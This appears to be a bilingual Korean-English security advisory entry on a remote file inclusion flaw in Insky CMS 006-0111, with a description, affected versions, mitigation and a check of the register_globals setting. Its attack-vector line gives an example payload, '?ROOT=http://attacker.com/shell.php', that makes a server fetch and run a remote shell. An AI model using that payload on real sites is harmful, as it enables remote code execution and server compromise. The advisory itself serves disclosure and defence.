🇰🇷 한글 설명
Insky CMS 006-0111의 register_globals 활성화 시 ROOT 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 insky/modules/ 디렉토리의 여러 PHP 파일(city.get.php, message.send.php, pages.add.php 등)에 악의적 파일을 삽입하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자가 입력한 파일 주소를 검증 없이 그대로 로드하는 취약점입니다. 공격자는 악성 파일의 경로를 전달하여 웹서버가 이를 실행하도록 강제할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Insky CMS 006-0111, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the ROOT parameter to (1) city.get/city.get.php, (2) city.get/index.php, (3) message2.send/message.send.php, (4) message.send/message.send.php, and (5) pages.add/pages.add.php in insky/modules/. NOTE: some of these details are obtained from third party information.
📍 영향받는 시스템
Insky CMS 버전 006-0111 (PHP register_globals 활성화된 환경)
⚔️ 공격 벡터
ROOT 파라미터에 원격 PHP 파일 URL 삽입 (예: ?ROOT=http://attacker.com/shell.php)
🛡️ 대응 방법
Insky CMS를 최신 버전으로 업그레이드하고 PHP php.ini에서 register_globals = Off로 설정
🔧 검증 코드
VULNERABLE이 출력되면 즉시 register_globals를 비활성화해야 하며, SAFE가 출력되면 이 취약점으로부터는 보호됨
php -r "echo (ini_get('register_globals') ? 'VULNERABLE: register_globals=On' : 'SAFE: register_globals=Off');" 2>/dev/null